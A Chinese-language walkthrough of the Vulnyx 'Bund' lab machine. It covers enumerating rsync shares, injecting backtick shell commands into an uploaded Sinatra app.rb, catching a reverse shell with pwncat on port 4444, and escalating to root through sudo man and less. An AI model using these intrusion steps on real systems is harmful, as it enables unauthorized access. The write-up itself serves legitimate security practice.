Vulnyx-Bund-Walkthrough
信息收集
服务探测
1 | ❯ sudo arp-scan -l |
扫一下目录
基本啥信息也没有
1 | ❯ gobuster dir -u "http://$ip" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt -b 403,404 |
浏览器访问一下,内容就是网站建设中
访问一下9393端口
一模一样
在rsync
端口下模糊测试一下
具体可以参加Vulnyx-Bola-Walkthrough | Pepster’Blog
在等了很长时间后
枚举出了fileadmin
文件夹存在
1 | ❯ for i in $(cat /usr/share/seclists/Discovery/Web-Content/common.txt);do echo $i;rsync -av --list-only rsync://$ip/$i 2>&1|grep -Piv "error";done |
或者参考noname
大佬的python脚本
1 | #!/usr/bin/env python3 |
我们将这些文件克隆到本地
1 | ❯ rsync -av rsync://$ip/fileadmin ./rsync |
我发现有个文件很有趣
1 | ❯ cat app.rb |
require 'sinatra'
:
- 这行代码引入了 Sinatra 库,它是一个用来创建 Web 应用程序的小型框架。Sinatra 使得编写 Web 应用程序变得非常简单和直观。
require 'shotgun'
:
- 这行代码引入了 Shotgun 库。Shotgun 是一个用于开发阶段的工具,它可以在每次请求时自动重新加载应用程序。这意味着你不需要手动重启服务器来查看代码的更改,非常适合开发和测试时使用。
get '/' do ... end
:
- 这一块定义了一个路由处理器。当用户访问根路径 (
'/'
) 时,这段代码将会被执行。get '/'
表示处理 HTTP GET 请求。do ... end
是一个块,当这个路由被访问时,块中的代码将会运行。- 这个块简单地返回一个字符串
"Under Construction"
。当用户访问根路径时,他们会看到浏览器中显示这条消息。
这个ruby
程序可以执行shell命令
只需要用反引号引起来即可
1 | require 'sinatra' |
我修改文件尝试重新上传到fileadmin
中
1 | ❯ vi app.rb |
结果靶机卡了端口都不开放了,没办法靶机重启一下
再次尝试curl一下
1 | ❯ curl http://192.168.60.226:9393/ |
可以正常执行命令
尝试反弹一下shell
1 | ❯ vi app.rb |
用户提权
监听一下端口
1 | ❯ pwncat-cs -lp 4444 |
Root提权
用户拥有sudo权限,可以利用help功能man page
调用less
来进行提权
1 | (remote) axel@bund:/home/axel$ sudo -l |